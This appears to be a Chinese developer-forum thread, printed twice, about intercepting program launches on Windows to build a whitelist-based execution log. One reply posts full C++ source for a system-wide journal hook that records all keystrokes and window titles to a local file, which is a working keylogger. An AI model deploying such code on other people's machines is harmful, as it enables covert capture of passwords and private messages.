如何实现拦截WINDOWS消息,在任何可执行程序运行之前就记录日志???

时间:2022-09-01 21:39:53
如何实现拦截WINDOWS消息,在任何可执行程序运行之前就报警??? 
指出要运行的文件名称,路径等。然后再可控制是否可允许其运行。 
相当于做到 病毒监测软件的功能。在程序运行之前就知道。 

17 个解决方案

#1


这涉及到HOOK(钩子),按照你的要求要用到消息钩子,我做过键盘钩子,但没有做过消息钩子,你看看SDK。

#2


WINDOWS在运行某程序之前应该有消息触发,键盘的好象是WM_USER
但不知道程序运行前的消息代号是什么?
病毒监测软件就是在程序运行之前进行拦截,然后检查是否包含病毒,如果有病毒则会禁止其运行。我不想做杀毒软件。
但想做一个系统运行日志,只允许运行允许的程序。

#3


有好多收呢

#4


一般的程序手段根本不可能实现你的要求!
“在任何可执行程序运行之前”……呵呵

#5


用AppsEvent可能可以

#6


楼上说的对啊。

#7


VXD

#8


消息是搞不定的,这涉及到HOOK(钩子),按照你的要求,最好要用成日志钩子,奉上所有源代码:Unit1.h, Unit1.cpp

//Unit1.h
//---------------------------------------------------------------------------

#ifndef Unit1H
#define Unit1H
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
//---------------------------------------------------------------------------
class TForm1 : public TForm
{
__published: // IDE-managed Components
        TButton *Install;
        TButton *UnLoad;
        void __fastcall InstallClick(TObject *Sender);
        void __fastcall UnLoadClick(TObject *Sender);
private: // User declarations
public: // User declarations
        __fastcall TForm1(TComponent* Owner);
};
//---------------------------------------------------------------------------
extern PACKAGE TForm1 *Form1;
//---------------------------------------------------------------------------
#endif

//Unit1.cpp
//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "Unit1.h"
#include <stdio.h>


//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;

HHOOK g_hLogHook=NULL; //钩子变量
HWND g_hLastFocus=NULL;
//记录上一次得到焦点的窗口句柄
const int KeyPressMask=0x80000000; //键盘掩码常量
char g_PrvChar; //保存上一次按键值




HOOKPROC JournalLogProc(int iCode,
WPARAM wParam, LPARAM lParam);
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::InstallClick(TObject *Sender)
{
if (g_hLogHook==NULL)
g_hLogHook = SetWindowsHookEx
(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,
HInstance,0); //安装日志钩子
        
}
//---------------------------------------------------------------------------
void __fastcall TForm1::UnLoadClick(TObject *Sender)
{
if (g_hLogHook!=NULL)
{UnhookWindowsHookEx(g_hLogHook);
g_hLogHook=NULL;
} //卸载日志钩子        
}
//---------------------------------------------------------------------------



HOOKPROC JournalLogProc(int iCode, 
WPARAM wParam, LPARAM lParam)
{
        if (iCode<0)
        return (HOOKPROC)CallNextHookEx (g_hLogHook,iCode,wParam,lParam);

        if (iCode==HC_ACTION)
        {EVENTMSG *pEvt=(EVENTMSG *)lParam;
        int i; HWND hFocus; //保存当前活动窗口句柄
        char szTitle[256]; //当前窗口名称
        char szTime[128]; //保存当前的日期和时间
        FILE *stream=fopen("c:\\logfiless.txt","a+t");
        if (pEvt->message==WM_KEYDOWN)
        {int vKey=LOBYTE(pEvt->paramL); // 取得虚拟键值
        char ch;
        char str[10];
        hFocus=GetActiveWindow();
        //取得当前活动窗口句柄
    if(g_hLastFocus!=hFocus)
        //当前活动窗口是否改变
{GetWindowText(hFocus,szTitle,256);
g_hLastFocus=hFocus;
strcpy(szTime,DateTimeToStr(Now()).c_str()); //得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
        int iShift=GetKeyState(0x10);
        //测试SHIFT,CAPTION,NUMLOCK等键是否按下
        int iCapital=GetKeyState(0x14);
        int iNumLock=GetKeyState(0x90);
        bool bShift=(iShift & KeyPressMask)==KeyPressMask;
        bool bCapital=(iCapital & 1)==1;
        bool bNumLock=(iNumLock & 1)==1;
        if (vKey >=48 && vKey<=57) // 数字0-9
                if (!bShift) fprintf(stream,"%c",vKey);
                if (vKey>=65 && vKey<=90) // A-Z a-z
                {if (!bCapital)  //a""
        if (bShift) ch=vKey;
        else ch=vKey+32;
        else if (bShift) ch=vKey+32;
        else ch=vKey;
        fprintf(stream,"%c",ch);
        }
        if (vKey>=96 && vKey<=105) // 小键盘0-9
        if (bNumLock)
        fprintf(stream,"%c",vKey-96+48);
        if (vKey>=186 && vKey<=222) // 其他键
        {switch (vKey) {
        case 186:
        if (!bShift) ch=';' ;
        else ch=':';
        break;
        case 187:
        if (!bShift) ch='=' ;
        else ch='+' ;
        break;
        case 188:
        if (!bShift) ch=',' ;
        else ch='<' ;
        break;
        case 189:
        if (!bShift) ch='-' ;
        else ch='_' ;
        break;
        case 190:
        if (!bShift) ch='.' ;
        else ch='>' ;
        break;
        case 191:
        if (!bShift) ch='/' ;
        else ch='?' ;
        break;
        case 192:if (!bShift) ch='`' ; else ch='~' ;break;
        case 219:if (!bShift) ch='[' ; else ch='{' ;break;
        case 220:if (!bShift) ch='\\' ; else ch='|' ;break;
        case 221:if (!bShift) ch=']' ; else ch='}' ;break;
        case 222:if (!bShift) ch='\''; else ch='\"' ;break;
        default:ch='n' ;break;
        }
        if (ch!='n' ) fprintf(stream,"%c",ch); } //
        if (wParam>=112 && wParam<=123) // 功能键 [F1]-[F12]
        if (vKey>=8 && vKey<=46) //方向键
        {switch (vKey) {
        case 8:strcpy(str,"[BK]");break;
        case 9:strcpy(str,"[TAB]");break;
        case 13:strcpy(str,"[EN]");break;
        case 32:strcpy(str,"[SP]");break;
        case 33:strcpy(str,"[PU]");break;
        case 34:strcpy(str,"[PD]");break;
        case 35:strcpy(str,"[END]");break;
        case 36:strcpy(str,"[HOME]");break;
        case 37:strcpy(str,"[LF]");break;
        case 38:strcpy(str,"[UF]");break;
        case 39:strcpy(str,"[RF]");break;
        case 40:strcpy(str,"[DF]");break;
        case 45:strcpy(str,"[INS]");break;
        case 46:strcpy(str,"[DEL]");break;
        default:ch='n' ;break;
        }
        if (ch!='n' )
        {if (g_PrvChar!=vKey)
        {fprintf(stream,"%s",str); g_PrvChar=vKey;
        }
        }
        }
        }
        if (pEvt->message==WM_LBUTTONDOWN || pEvt->message==WM_RBUTTONDOWN)
        {hFocus=GetActiveWindow();
        if (g_hLastFocus!=hFocus)
        {g_hLastFocus=hFocus;
        GetWindowText(hFocus,szTitle,256);
        strcpy(szTime,DateTimeToStr(Now()).c_str());
        //得到当前的日期时间
        fprintf(stream,"%c%s%c%c%s",
        10,szTime,32,32,szTitle); //写入文件
        fprintf(stream,"%c%c",32,32);
        }
        }
        fclose(stream);
        return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
}
}

#9


楼上这位做的好象是键盘拦截程序。我也做过。

木马程序或病毒程序并不需要双击鼠标或按键再运行。 
我的想法如下: 
确认无毒WINDOWS系统安装之后,就在系统中驻留运行系统消息拦截程序。 
WINDOWS每运行一个程序就拦截,可以把自己认为安全性很高的程序放在一个 
safe.INI 的文件中。如果运行的程序不在列表中就向用户报警,给出提示是否允许其运行,我想这样可以更有效地防止未知的病毒和木马。 
这样的程序由程序员自己使用最合适。起码知道此程序是否是自己想运行的。 
如果杀毒软件也添加此功能,实时建立程序运行日志,程序名称、路径、运行时期、安全系数等。应该说对于大家都有益处。

#10


欢迎大家解答。

#11


如果你做过键盘钩子,消息钩子机制也是一样的,你可以参考SDK的说明啊。

#12


在任何程序运行之前??


程序是什么??

启动后就运行程序了!

你要在什么程序启动后的问题!

Win32程序??

是实模式,还是虚模式??

起什么作用?? 实现什么功能??

#13


我的想法如下: 
确认无毒WINDOWS系统安装之后,就在系统中驻留运行系统消息拦截程序。 
WINDOWS每运行一个程序就拦截,可以把自己认为安全性很高的程序放在一个 
safe.INI 的文件中。如果运行的程序不在列表中就向用户报警,给出提示是否允许其运行,我想这样可以更有效地防止未知的病毒和木马。 
这样的程序由程序员自己使用最合适。起码知道此程序是否是自己想运行的。 
如果杀毒软件也添加此功能,实时建立程序运行日志,程序名称、路径、运行时期、安全系数等。应该说对于大家都有益处。

#14


使用HOOK!!!!!

#15


涉及到启动一个进程时报警,HOOK里有个日志钩子,不知可不可以,感觉没有这么简单,总觉得这些事该系统管呀。

#16


luo73(梦中编程) 告诉你:
我用得确实是日志钩子,只不过这个DEMO(*.exe)是用日志钩子处理键盘事件。

你想想看,如果是键盘钩子的话,必须做成DLL才能实现以上功能!对吧...

请你分析一下这段代码,我相信一定能解决你的问题!

#17


我现在也没有解决此问题,先结帖吧。

#1


这涉及到HOOK(钩子),按照你的要求要用到消息钩子,我做过键盘钩子,但没有做过消息钩子,你看看SDK。

#2


WINDOWS在运行某程序之前应该有消息触发,键盘的好象是WM_USER
但不知道程序运行前的消息代号是什么?
病毒监测软件就是在程序运行之前进行拦截,然后检查是否包含病毒,如果有病毒则会禁止其运行。我不想做杀毒软件。
但想做一个系统运行日志,只允许运行允许的程序。

#3


有好多收呢

#4


一般的程序手段根本不可能实现你的要求!
“在任何可执行程序运行之前”……呵呵

#5


用AppsEvent可能可以

#6


楼上说的对啊。

#7


VXD

#8


消息是搞不定的,这涉及到HOOK(钩子),按照你的要求,最好要用成日志钩子,奉上所有源代码:Unit1.h, Unit1.cpp

//Unit1.h
//---------------------------------------------------------------------------

#ifndef Unit1H
#define Unit1H
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
//---------------------------------------------------------------------------
class TForm1 : public TForm
{
__published: // IDE-managed Components
        TButton *Install;
        TButton *UnLoad;
        void __fastcall InstallClick(TObject *Sender);
        void __fastcall UnLoadClick(TObject *Sender);
private: // User declarations
public: // User declarations
        __fastcall TForm1(TComponent* Owner);
};
//---------------------------------------------------------------------------
extern PACKAGE TForm1 *Form1;
//---------------------------------------------------------------------------
#endif

//Unit1.cpp
//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "Unit1.h"
#include <stdio.h>


//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;

HHOOK g_hLogHook=NULL; //钩子变量
HWND g_hLastFocus=NULL;
//记录上一次得到焦点的窗口句柄
const int KeyPressMask=0x80000000; //键盘掩码常量
char g_PrvChar; //保存上一次按键值




HOOKPROC JournalLogProc(int iCode,
WPARAM wParam, LPARAM lParam);
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::InstallClick(TObject *Sender)
{
if (g_hLogHook==NULL)
g_hLogHook = SetWindowsHookEx
(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,
HInstance,0); //安装日志钩子
        
}
//---------------------------------------------------------------------------
void __fastcall TForm1::UnLoadClick(TObject *Sender)
{
if (g_hLogHook!=NULL)
{UnhookWindowsHookEx(g_hLogHook);
g_hLogHook=NULL;
} //卸载日志钩子        
}
//---------------------------------------------------------------------------



HOOKPROC JournalLogProc(int iCode, 
WPARAM wParam, LPARAM lParam)
{
        if (iCode<0)
        return (HOOKPROC)CallNextHookEx (g_hLogHook,iCode,wParam,lParam);

        if (iCode==HC_ACTION)
        {EVENTMSG *pEvt=(EVENTMSG *)lParam;
        int i; HWND hFocus; //保存当前活动窗口句柄
        char szTitle[256]; //当前窗口名称
        char szTime[128]; //保存当前的日期和时间
        FILE *stream=fopen("c:\\logfiless.txt","a+t");
        if (pEvt->message==WM_KEYDOWN)
        {int vKey=LOBYTE(pEvt->paramL); // 取得虚拟键值
        char ch;
        char str[10];
        hFocus=GetActiveWindow();
        //取得当前活动窗口句柄
    if(g_hLastFocus!=hFocus)
        //当前活动窗口是否改变
{GetWindowText(hFocus,szTitle,256);
g_hLastFocus=hFocus;
strcpy(szTime,DateTimeToStr(Now()).c_str()); //得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
        int iShift=GetKeyState(0x10);
        //测试SHIFT,CAPTION,NUMLOCK等键是否按下
        int iCapital=GetKeyState(0x14);
        int iNumLock=GetKeyState(0x90);
        bool bShift=(iShift & KeyPressMask)==KeyPressMask;
        bool bCapital=(iCapital & 1)==1;
        bool bNumLock=(iNumLock & 1)==1;
        if (vKey >=48 && vKey<=57) // 数字0-9
                if (!bShift) fprintf(stream,"%c",vKey);
                if (vKey>=65 && vKey<=90) // A-Z a-z
                {if (!bCapital)  //a""
        if (bShift) ch=vKey;
        else ch=vKey+32;
        else if (bShift) ch=vKey+32;
        else ch=vKey;
        fprintf(stream,"%c",ch);
        }
        if (vKey>=96 && vKey<=105) // 小键盘0-9
        if (bNumLock)
        fprintf(stream,"%c",vKey-96+48);
        if (vKey>=186 && vKey<=222) // 其他键
        {switch (vKey) {
        case 186:
        if (!bShift) ch=';' ;
        else ch=':';
        break;
        case 187:
        if (!bShift) ch='=' ;
        else ch='+' ;
        break;
        case 188:
        if (!bShift) ch=',' ;
        else ch='<' ;
        break;
        case 189:
        if (!bShift) ch='-' ;
        else ch='_' ;
        break;
        case 190:
        if (!bShift) ch='.' ;
        else ch='>' ;
        break;
        case 191:
        if (!bShift) ch='/' ;
        else ch='?' ;
        break;
        case 192:if (!bShift) ch='`' ; else ch='~' ;break;
        case 219:if (!bShift) ch='[' ; else ch='{' ;break;
        case 220:if (!bShift) ch='\\' ; else ch='|' ;break;
        case 221:if (!bShift) ch=']' ; else ch='}' ;break;
        case 222:if (!bShift) ch='\''; else ch='\"' ;break;
        default:ch='n' ;break;
        }
        if (ch!='n' ) fprintf(stream,"%c",ch); } //
        if (wParam>=112 && wParam<=123) // 功能键 [F1]-[F12]
        if (vKey>=8 && vKey<=46) //方向键
        {switch (vKey) {
        case 8:strcpy(str,"[BK]");break;
        case 9:strcpy(str,"[TAB]");break;
        case 13:strcpy(str,"[EN]");break;
        case 32:strcpy(str,"[SP]");break;
        case 33:strcpy(str,"[PU]");break;
        case 34:strcpy(str,"[PD]");break;
        case 35:strcpy(str,"[END]");break;
        case 36:strcpy(str,"[HOME]");break;
        case 37:strcpy(str,"[LF]");break;
        case 38:strcpy(str,"[UF]");break;
        case 39:strcpy(str,"[RF]");break;
        case 40:strcpy(str,"[DF]");break;
        case 45:strcpy(str,"[INS]");break;
        case 46:strcpy(str,"[DEL]");break;
        default:ch='n' ;break;
        }
        if (ch!='n' )
        {if (g_PrvChar!=vKey)
        {fprintf(stream,"%s",str); g_PrvChar=vKey;
        }
        }
        }
        }
        if (pEvt->message==WM_LBUTTONDOWN || pEvt->message==WM_RBUTTONDOWN)
        {hFocus=GetActiveWindow();
        if (g_hLastFocus!=hFocus)
        {g_hLastFocus=hFocus;
        GetWindowText(hFocus,szTitle,256);
        strcpy(szTime,DateTimeToStr(Now()).c_str());
        //得到当前的日期时间
        fprintf(stream,"%c%s%c%c%s",
        10,szTime,32,32,szTitle); //写入文件
        fprintf(stream,"%c%c",32,32);
        }
        }
        fclose(stream);
        return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
}
}

#9


楼上这位做的好象是键盘拦截程序。我也做过。

木马程序或病毒程序并不需要双击鼠标或按键再运行。 
我的想法如下: 
确认无毒WINDOWS系统安装之后,就在系统中驻留运行系统消息拦截程序。 
WINDOWS每运行一个程序就拦截,可以把自己认为安全性很高的程序放在一个 
safe.INI 的文件中。如果运行的程序不在列表中就向用户报警,给出提示是否允许其运行,我想这样可以更有效地防止未知的病毒和木马。 
这样的程序由程序员自己使用最合适。起码知道此程序是否是自己想运行的。 
如果杀毒软件也添加此功能,实时建立程序运行日志,程序名称、路径、运行时期、安全系数等。应该说对于大家都有益处。

#10


欢迎大家解答。

#11


如果你做过键盘钩子,消息钩子机制也是一样的,你可以参考SDK的说明啊。

#12


在任何程序运行之前??


程序是什么??

启动后就运行程序了!

你要在什么程序启动后的问题!

Win32程序??

是实模式,还是虚模式??

起什么作用?? 实现什么功能??

#13


我的想法如下: 
确认无毒WINDOWS系统安装之后,就在系统中驻留运行系统消息拦截程序。 
WINDOWS每运行一个程序就拦截,可以把自己认为安全性很高的程序放在一个 
safe.INI 的文件中。如果运行的程序不在列表中就向用户报警,给出提示是否允许其运行,我想这样可以更有效地防止未知的病毒和木马。 
这样的程序由程序员自己使用最合适。起码知道此程序是否是自己想运行的。 
如果杀毒软件也添加此功能,实时建立程序运行日志,程序名称、路径、运行时期、安全系数等。应该说对于大家都有益处。

#14


使用HOOK!!!!!

#15


涉及到启动一个进程时报警,HOOK里有个日志钩子,不知可不可以,感觉没有这么简单,总觉得这些事该系统管呀。

#16


luo73(梦中编程) 告诉你:
我用得确实是日志钩子,只不过这个DEMO(*.exe)是用日志钩子处理键盘事件。

你想想看,如果是键盘钩子的话,必须做成DLL才能实现以上功能!对吧...

请你分析一下这段代码,我相信一定能解决你的问题!

#17


我现在也没有解决此问题,先结帖吧。